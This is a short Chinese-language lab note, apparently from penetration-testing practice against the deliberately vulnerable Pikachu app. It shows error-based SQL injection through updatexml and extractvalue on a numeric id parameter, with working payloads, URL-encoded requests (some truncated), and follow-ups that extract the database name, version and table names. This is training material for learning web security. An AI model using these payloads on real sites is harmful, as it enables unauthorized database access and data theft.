注意：因为此处是数字型注入，所以不用引号，但是需要+ 连接符 ，具体可url转译后再填入

语法：

updatexml(1,+concat(0x7e,database()。+0)

extractvalue('anything',concat('/',(select database())))

原：GET /pte/vul/sqli/sqli_del.php?id=56 HTTP/1.1

修改：注入，获得数据库名为 pikachu

GET /pte/vul/sqli/sqli_del.php?id=56+or+updatexml(1,+concat(0x7e,database()),+0) HTTP/1.1

XPATH syntax error: '~pikachu'

url编码：

56 or updatexml(1,concat(0x7e,database()),0)

编码后：

%35%36%20%6f%72%20%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%64%61%74%61%62%61%73%65%28%29%2

修改包：

GET /pte/vul/sqli/sqli_del.php?

id=%35%36%20%6f%72%20%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%64%61%74%61%62%61%73%65%28%2

HTTP/1.1

获得结果

XPATH syntax error: '~pikachu'

补充：

获得数据库版本

updatexml(1, concat(0x7e, version()), 0)#

获得pikachu数据库的表名

updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

#获得当前数据库的表名

updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database())), 0)#